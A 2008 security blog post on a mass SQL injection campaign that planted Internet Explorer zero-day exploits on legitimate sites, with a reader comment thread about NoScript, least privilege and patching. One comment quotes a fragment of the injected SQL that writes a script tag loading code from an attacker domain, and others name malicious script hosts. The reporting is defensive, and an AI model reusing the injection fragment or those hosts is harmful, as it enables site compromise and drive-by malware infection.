ie8 fix
madison

Zero Day

Ryan Naraine, Emil Protalinski and Dancho Danchev

Thousands of legitimate sites SQL injected to serve IE exploit

By | December 17, 2008, 1:19pm PST

Summary: Once again confirming the trend of having more legitimate sites serving exploits and malware than purely malicious ones, Chinese hackers have been keeping themselves busy during the last couple of days, launching massive SQL injection attacks affecting over 100,000 web sites. The SQL injection attacks serving the just patched Internet Explorer XML parsing exploit, are launched [...]

Symantec Internet Explorer Zero Day ChinaOnce again confirming the trend of having more legitimate sites serving exploits and malware than purely malicious ones, Chinese hackers have been keeping themselves busy during the last couple of days, launching massive SQL injection attacks affecting over 100,000 web sites.

The SQL injection attacks serving the just patched Internet Explorer XML parsing exploit, are launched by several different Chinese hacking groups, and with several exceptions, are primarily targeting Asian countries which is a pretty logical move given the fact that it’s a password stealing malware for online games that is served at the bottom line.

Which is the most targeted country?

According to some stats from Symantec, China ironically remains the most actively targeted country by the IE exploit, ironically in the sense that it was Chinese researchers that leaked the exploit at the first place. Moreover, the 100,000 web sites cited as being infected by Symantec, should be taken as a very conservative metric, since more domains are being injected and as previous campaigns, the number of affected sites could change pretty fast.

SQL Injection Internet Explorer Zero DayConsider for a while the big picture. With or without a patch for the IE exploit, committing cybercrime through the exploitation of already patched client-side vulnerabilities would continue growing - it has been throughout the entire 2008. Despite being old-fashioned compared to Russian cybercriminals that would have included the exploit within their web malware exploitation kits and started serving banker malware instead of password stealing malware, the Chinese attackers appear to be well aware of this trend, and therefore all of the IE exploit serving sites are also serving several other exploits targeting Adobe’s Flash, Acrobat Reader and RealPlayer for starters.

Recent studies continue emphasizing on the fact that millions of users not only continue browsing the web using insecure browsers, but also, are so browser vulnerabilities centered and they ignore the rest of the software running on their PCs as a potential infection vector given they’re running an insecure versions of it - and yes they are. Cybercriminals are aware of this insecure Internet browsing, and are therefore including sets of exploits targeting each and every version known to be vulnerable of a particular software in order to increase the chances for a successful infection. This particular SQL injection attack is the most recent example of this mentality.

In 2008, cybercriminals continue infecting thousands of new hosts on daily basis using 2007’s critical vulnerabilities, because instead of patching vulnerable software, the majority of end users remain comfortable with their false feeling of security.

Kick off your day with ZDNet's daily e-mail newsletter. It's the freshest tech news and opinion, served hot. Get it.

Topics

Dancho Danchev is an independent security consultant and cyber threats analyst, with extensive experience in open source intelligence gathering, malware and cybercrime incident response.

Disclosure

Dancho Danchev

More details on Dancho Danchev's current and past professional affiliations, can be found in his LinkedIn profile.

Biography

Dancho Danchev

Dancho Danchev is an independent security consultant and cyber threats analyst, with extensive experience in open source intelligence gathering, and cybercrime incident response. He's been an active security blogger since 2007, and maintains a popular security blog sharing real-time threats intelligence data with the rest of the community on a daily basis. More details on Dancho Danchev's current and past professional affiliations, can be found in his LinkedIn profile. You can also follow him on Twitter

Related Discussions on TechRepublic

Did you know you can take part in these discussions with your ZDNet membership?
58
Comments

Join the conversation!

Just In

RE: Thousands of legitimate sites SQL injected to serve IE exploit
birumut Updated - 4th May 2011
Great!! ! thanks for sharing this information to us!
seslisohbet seslichat
0 Votes
+ -
Before any Firefox zealots start going nuts, Firefox + NoScript is my browser configuration of choice.

That being said, people do have to be careful when they use the "Allow " option of NoScript because even legitimate, trustworthy sites are sometimes used to distribute malware. I really and truly wish that Mozilla would implement a Protected Mode for FireFox under Vista.
0 Votes
+ -
Not magic, but more effective than you think
Giorgio Maone 17th Dec 2008
Even if the compromised site is in your whitelist, allowed to run JavaScript, the actual attack is thrown by a tiny IFrame or a script inclusion which just pulls the malicious code from an external server in control of the attacker (usually in a Chinese or Russian domain registered for this purpose) and surely not in your whitelist. This is quite reasonable: since SQL vulnerabilities are not suitable for injecting large chunks of malicious code, and such an attack cannot write Flash applets or JavaScript files on the filesystem of the compromised server, the attacker needs to download them from somewhere else.
Therefore NoScript?s fine grained script blocking prevents them from being loaded and effectively defeats the attack.

http://hackademix.net/2008/04/26/mass-attack-faq/#trusted
0 Votes
+ -
Excellent info
NonZealot 17th Dec 2008
Thanks for that info, much appreciated.
0 Votes
+ -
Er, you are still vulnerable in IE7
nilotpal_c 18th Dec 2008
You cannot disable iframes
0 Votes
+ -
What?
JCitizen 19th Dec 2008
So why is their a setting for it in the Security tab in Internet Options?
0 Votes
+ -
You cannot disable iframes
nilotpal_c 20th Dec 2008
You can disable programs from loading from within iframes, but you cannot disable iframes in IE7. Try visiting a page containing iframes with your iframe option disabled and check for yourself. For a fully patched IE, the option to disable programs from within iframes is enough, but for a known unpatched vulnerability, with drive by downloads,
the restriction may possibly be overcome.
0 Votes
+ -
No Script Still no magic bullet
dunn@... 19th Dec 2008
Since you don't need a script to download a malicious file. So even if it is not in the "No Script" whitelist you will have malware on your system.
0 Votes
+ -
You're Making Wrong Assumptions
Giorgio Maone 19th Dec 2008
You're assuming you just need to download an exe to get the malware. You need to download and execute it, instead. Firefox never allows an executable to be launched by the browser upon download. To do that, an attacker needs to exploit some vulnerability, and this almost always involves some non-trivial JavaScript and/or plugin magic, which is actually blocked by NoScript.
0 Votes
+ -
My experience with it..
JCitizen Updated - 19th Dec 2008
I have several bad site blockers installed in IE 7, which block the server redirects; also active X registry settings(Spyware Blaster), Spybot Immunizer disables a lot of crack controls present on web pages, the Tea Timer prevents some of them from making registry changes in the first place.

Commodo Firewall Pro prevents the modification of files in some instances, and blocks the outgoing server requests in others.

I still get hit once and a while when these attacks pop out of page ads, but since I keep my Java, and Adobe reader/flash updated my AV(ESET) is easily able to thwart the attack.

It seems most of these vectors take advantage of one vulnerability or another of applications; if they are updated this may not happen most of the time. A blended defense can mitigate it. My clients refuse to do without web functionality and I refuse to knuckle under to the criminals.

I will continue to operate with iFrames, Active X, and Java enabled for the near future. I'm not saying I'm invulnerable, but have won the day on every attack so far.

Running in restricted Windows rights goes a LONG way toward prevention.
0 Votes
+ -
You are Right. However...
rjacksix 22nd Dec 2008
While you are right, the hole in IE allows execution of any command w/o user intervention. While it is being automatically spread using scripts it is really an XML CDATA binding error that will execute ANYTHING you tell it to once the stack has been corrupted.

This is specifically an IE thing. Even if the script (which is just an automated implementation of the CDATA bind) were to run in FF it would have no effect because the FF stack does not get corrupted by the malformed XML.
0 Votes
+ -
If you wanted to
AzuMao 30th Dec 2008
You could of course make the purposeful choice to
download and run a file.

See, these things called exploits, they don't give you
that choice. They force it on you, and that's the
whole problem. wink
0 Votes
+ -
To the point
gourddancer1@... 23rd Dec 2008
Thank you for being direct and to the point instead of the babble.

Great info
0 Votes
+ -
[nt]
0 Votes
+ -
How is using NoScript in FF is different from setting security level to "high" in IE?

Besides, the real problem is not that you or I can change the settings or add a plugin; the real problem is that there are so many users that don't have any clue and don't patch their systems, which is pretty much a no-brainer on itself in Windows, with automatic updates.
0 Votes
+ -
NoScript is much better
Giorgio Maone Updated - 18th Dec 2008
Disclaimer: I'm NoScript's author

1. NoScript allows you to whitelist a site with one click, while Microsoft's zone are very painful to use
2. NoScript's whitelist is guarded by the best anti-XSS filters currently available on the client side, while IE7 has nothing like that and IE8 has a limited copycat** of NoScript's.
3. NoScript offers many other unique security enhancements which go far beyond "security level:high", e.g. anti-Clickjacking protection, see http://noscript.net/faq#clearclick

* http://noscript.net/features#xss
** http://hackademix.net/2008/07/03/noscripts-anti-xss-filters-partially-ported-to-ie8/
0 Votes
+ -
No addon or security suite is better than
soonerproud 18th Dec 2008
Running with least privilege as a standard (limited) user. NoScript is awesome and I use it as a added layer of protection, but it is no substitute for a properly configured user account.
0 Votes
+ -
Sure I'm a big fan of least privilege, and if you're using an "administrator" or "root" account to browse the web you're inviting full system infection.
On the other end, even if you use a limited account (and, let me repeat, you really should), you can as easily be victim of an effective attack: accessing your personal data, stealing your sensitive documents, turning your PC in a spam bot (you can send email from your limited account, can't you?) and so on. Basically anything your "limited" account can do, an attacker is enabled to do as well. The main difference with a root/administrator attack is that your wife's account is still OK and you'll have an easier time in cleaning up your PC, when you realize you've been owned.
Even "protected mode" and sandboxes are overrated: if you think about it, there's a lot of malicious thing an attacker in your browser can do without accessing your local filesystem, now that we're moving more and more vital data (bank accounts, email, social relationships...) in the "cloud"*. Your local resources will become even less valuable in the future, if this trend is confirmed.
So, the best approach is layered, and the first, most important and most effective layer is always don't allow any untrusted code to run.

*http://hackademix.net/2008/01/12/malware-20-is-now/
0 Votes
+ -
Not once has
soonerproud 18th Dec 2008
anyone brought a computer to me to be cleaned from malware that used a limited user account. All the systems I have cleaned were run wide opened, including some that used Firefox and NoScript. Besides, the point of my last post was that layered security starts at least privileged. Unless your security model starts with a firm foundation, (least privileged) all your other defenses are of little use, including NoScript. So no, running with least privilege is not overrated.

(I did say that I used No Script as a added layer of protection in the other post. I was in no way implying that people should avoid NoScript and was pretty clear about it in my previous post.)
0 Votes
+ -
Giorgio is right...
JCitizen Updated - 19th Dec 2008
Especially if you have any application with a vulnerability that allows the script to take control of your computer with newly won administrative rights. Secunia PSI 1.0 goes a long way in preventing this by helping you keep your applications, add-on, ect. up to date.

It even finds end of life or individual .exe files leftover from previous uninstalls, that could compromise your computer even in restricted mode.

I seen these web pest in action when they try to gain administrative access using, say, Adobe reader for PDFs. If the application is not updated before the attack, the bug can take control very rapidly and even subvert some good antivirus softwares that have the definition in their update files.

Some scripts are even "Sandboxie" aware and can usually break out into the session using several subversion techniques. But it would still be wise to use it on the admin side, if at least for just one more stumbling block for the crackers.
0 Votes
+ -
NoScript works for me
howdougd@... 19th Dec 2008
This week NoScript detected a clickjacking attempt when I accessed my bank account. Thank you NoScript.
0 Votes
+ -
Don't forget to patch Firefox
Earthling2 18th Dec 2008
Here we go: Mozilla FireFox 3 (the latest) - Multiple vulnerabilities marked as highly critical by secunia.

1) Multiple errors in the layout and JavaScript engines can be exploited to corrupt memory and potentially execute arbitrary code.

2) An error when processing the "persist" XUL attribute can be exploited to bypass cookie settings and uniquely identify a user in subsequent browsing sessions.

3) Multiple errors can be exploited to bypass the same-origin policy, disclose sensitive information, and execute JavaScript code with chrome privileges.


This one marked as highly critical while IE's as extremely critical. Both vulnerabilities allow remote code execution which, if the browser runs under an administrative account, can compromise the entier system. On Vista, IE runs in protected mode though, which reduces the risk.

I guess IE's one is marked as highly critical because it is being actively exploited. If Firefox were more popular, the situation could be reversed.
0 Votes
+ -
EXCEPT...
rjacksix 22nd Dec 2008
By MS's own admission IE 7 does not use the ALSR or NX security afforded by Vista.

Sigh...I feel sorry for ANYONE writing sw. Where there is a will there is a way.
0 Votes
+ -
I purchased ZoneAlarm's Forcefield, but it didn't play well with Firefox ver 3 initially. It appeared to have all the security you would ever need. I suffered through a few bug fixes, but finally uninstalled the product as it interfered so badly with Firefox, seemed to work better with IE. (does anyone know if Forcefield would protect against these latest exploits?)

That was some months ago. It may have been fixed. I might even give it another go this holiday period.
0 Votes
+ -
ZDNet disappoints again
ejhonda 18th Dec 2008
Why is it I always have to go to another web site in order to find out the pertinent details on these things, such as what the script names are that are getting injected on the legit web sites, or the domains that are hosting the scripts? TheRegister.com always includes this info (BTW - ardoshanghai.com/s.js is one of them).
0 Votes
+ -
LOL Are You Kidding?!?!?
itanalyst2@... 18th Dec 2008
This is the LAST site I go to for the most current important news....

They are more content with Mary's "Let's Pick A Stupid Name For Windows" articles than to report real IT news.
0 Votes
+ -
So...
ejhonda 18th Dec 2008
I used to get pretty good coverage by using The Register, ZDNet (pre-CBS), and Computerworld. Computerworld began tagging me as a spammer and won't explain why, so I ditched them in favor of Dark Reading, but suddenly that site has gone lame. And now that CBS has inflicted their vision on ZDNet (LOVE the stale headline promos for non-business related items at the top right of the page, btw!), it's lost its shine somewhat, too, I will agree.

So what sites do you visit?
0 Votes
+ -
I Visit
itanalyst2@... 18th Dec 2008
Computerworld
PCworld
Slashdot
Tech Republic

Usually between this and the others I can pick out what's important and what's FUD..and this site is the kind of FUD.
0 Votes
+ -
You forgot ZDnet in your list. (NT)
kozmcrae Updated - 21st Dec 2008
(nt)
0 Votes
+ -
7
harrisharris 22nd Dec 2008
.
0 Votes
+ -
site, not the pertinent and fine details site. You'll learn why you should love open source, why Windows 7 is the sign of the end or the world (or in some corners of Zdnet, savior), love iPod, iPhone and iMacDonalds, and a slew of tech ads, but pertinent details. That's asking too much of the old Zd.
0 Votes
+ -
I guess you haven't read...
kozmcrae 21st Dec 2008
Ed Bott, Paul Murphy and AKH.
0 Votes
+ -
this is the evidence that NoScript is useless
qmlscycrajg Updated - 18th Dec 2008
using NoScript, the FF users add trusted sites to the trusted list... But FF users will be infected like IE users because the trusted sites have been compromised!
0 Votes
+ -
The real answer
soonerproud Updated - 18th Dec 2008
To prevent these infections from doing massive damage is to run as a limited user, no matter what operating system you are using. For non-technical users that do not have a specific need to run XP, it is recommended to move to Vista to make running as a limited user much easier. If you do have a specific reason to run XP over Vista, it may be cost effective to take your pc to a expert to have them properly set up a limited user account for daily use.

Running with least privileges is always the best and first line of defense against these exploits.
0 Votes
+ -
somebody hasn't been reading
rileinc Updated - 18th Dec 2008
your concern is addressed in the very first and second Talkback reply.
0 Votes
+ -
No It Hasn't...
dunn@... 19th Dec 2008
Because once the script is on the system from the whitelisted site then it downloads an exe from another server.

No Script will not intervene since it is just an executable EXE that is downloaded (no scripting is necessary to download a file) then the original script injected from the whitelist installs the EXE from the second site.
0 Votes
+ -
http://isc.sans.org/diary.html?storyid=5458

the important part includes the target URL that is injected:

?
rtrim(convert(varchar(4000),['+@C+']))+''<script src=http://17gamo [dot] com/1.js></script>''')FETCH NEXT FROM
?

This domain is not listed by Shadowserver yet. The 1.js script on the domain links to multiple other HTML documents of which one is called ie7.htm. You guessed it, it contains the latest 0-day exploit for Internet Explorer.
In other words, the malicious script is fetched from an external site (not the main possibly whitelisted one, just like I predicted in http://hackademix.net/2008/04/26/mass-attack-faq/#trusted ). That non whitelisted script should perform the actual IE7 zero day exploitation in order to download and, most important, execute the malicious payload. If the script can't run, the executable, even if downloaded, couldn't run. Therefore NoScript wins again (in this very case, Firefox users would be safe anyway because it's the IE7 flaw which is being exploited, but that's another story...)
0 Votes
+ -
Sorry, but...
rjacksix 22nd Dec 2008
You have to understand the hole. It is IE specific and has to do with the way that IE parses bound XML CDATA. You can go see a POC at milw0rm.com. This has absolutely nothing to do with script vulnerabilities (although the script kiddies are injecting scripts to automate the process). It also has absolutely NOTHING to do with FF.

Someone could put the original CDATA XML bind command into a regular file on an exploited server (and probably have) and you would not execute a script).
0 Votes
+ -
100,000 sites are hacked, yet, as usual, the journalists go for the easy, go after Microsoft - especially IE7.
0 Votes
+ -
You're 100% correct.....
dunn@... 19th Dec 2008
If you get the Secunia warings then you will have noticed over the last month or so that just about every other notice was a SQL injection vulnerability against some iteration of somebodies open soucre web server.

No Joke.
0 Votes
+ -
Secunia PSI is your friend!...=)
JCitizen 19th Dec 2008
happy
0 Votes
+ -
May Not Be a SQL Server Issue
HENpp 19th Dec 2008
The problem is often in poorly-written code that allows servers to be compromised.
0 Votes
+ -
In the case of iFrames...
JCitizen 19th Dec 2008
It is poorly designed web pages that ignore security standards.

Hence the webmaster's fault. Not in every case of course.
0 Votes
+ -
Re: SQL Vulnerability
harrisharris 22nd Dec 2008
Seriously...

When these articles are very informative, they get the criticism from the "point and clickers" who deem their own very browser or OS the only comments necessary to fulfill a meaningless argument.

Too bad these comments even exist in the first place.
0 Votes
+ -
Ironic?
Fred Fredrickson 18th Dec 2008
Why is it ironic that an exploit discovered by Chinese researchers is used against Chinese citizens? Would it be ironic if it was discovered by US researchers and used against Americans?
You want a completely secure computer? Unplug it.

For the rest of us, FF and NoScript ( running under Kubuntu ) serves our needs.

You need a balance between security and usefulness.

The FF/NoScript is a good compromise...
0 Votes
+ -
Re: Unplug
harrisharris 22nd Dec 2008
Just thought I'd mention to remove the battery on laptops on the unplug statement.

Props to the statement...was searching high and low in the comments for something of the like.
But its still the best bargain in town (If you dont look at the
added costs and downtime)

Just a hunch-but do think MS hire kids straight out of Community
College to write their SW...?
The answer almost kicks you in the stomach....

Chimps might be a less expensive solution
Pay 'em in Banannas

Youd probably get just as good if not better code.
At least they wouldnt be distracted by listening to their iPods
while working.
And I suspect via inside sources (may 'deepthroat' RIP) that even
at MS, no one has yet spotted one of these...ZOONs....(sic)-
and brought back credible proof that they exist-youd do better
hunting Nessie of Loch Ness or Bigfoot.....
0 Votes
+ -
Serves them right !
Gradius2 25th Dec 2008
Serves the companies right !

When they will really hire COMPETENT IT personal ?!
Great!! ! thanks for sharing this information to us!
seslisohbet seslichat

Join the conversation!

Formatting +
BB Codes - Note: HTML is not supported in forums
  • [b] Bold [/b]
  • [i] Italic [/i]
  • [u] Underline [/u]
  • [s] Strikethrough [/s]
  • [q] "Quote" [/q]
  • [ol][*] 1. Ordered List [/ol]
  • [ul][*] · Unordered List [/ul]
  • [pre] Preformat [/pre]
  • [quote] "Blockquote" [/quote]
ie8 fix
Click Here
ie8 fix

The best of ZDNet, delivered

ZDNet Newsletters

Get the best of ZDNet delivered straight to your inbox

Facebook Activity

White Papers, Webcasts, & Resources
ie8 fix
ie8 fix